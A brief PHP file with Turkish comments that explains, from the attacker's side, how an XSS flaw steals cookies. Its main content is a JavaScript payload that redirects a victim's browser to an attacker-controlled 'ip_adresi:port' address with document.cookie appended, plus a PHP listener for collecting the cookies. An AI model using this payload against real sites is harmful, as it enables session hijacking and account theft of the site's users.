xss_steal_cookie.php

<?php
        $cookie = $_GET["c"];
        /*
	
	BU YÖNTEME GÖRE SAYFAYI RELOAD ETMEDEN YAPILABİLECEK DAHA SESSİZ YÖNTEMLER VARDIR.
	SADECE OLAYIN MANTIĞI ANLATILMIŞTIR!
	
        xss açığı bulunan bir siteye aşağıdaki javascript kodunu yedirdiğimizi düşünelim
	#document.location = "http://ip_adresi:port/php_dosya_adi.php?c="+document.cookie

	# php -S ip_adresi:port #PHP SESSION AÇMA 
	Böyle yapıldığında php ile kendi ipmizin belirttiğimiz port numarasından bir dinleme yapıyoruz.

        bu php dosyasına ilgili sitedeki açıktan faydalanarak kullanıcıyı yönlendirdiğimizde
        kullanıcının tarayıcısında o an sayfada kayıtlı olan cookileri almış oluruz!


        Aslında bulunduğumuz dizindeki bu php dosyasına xss açıklı yerden yönlendirme yapıyoruz sadece.
        bu php dosyası da kendine gelen isteklerden get metodu ile c olarak ayarlanan kısmı alıyor.
        c kısmını ise xss açıklı sitedeki document.cookie ile alıyoruz.
        dolayısıyla o sayfaya kim girmiş ise onun cookileri bize yönlendiriliyor.
	Böylelikle oturum çalma işlemi vs. gibi işlemler gerçekleştirebiliyoruz.
        */
?>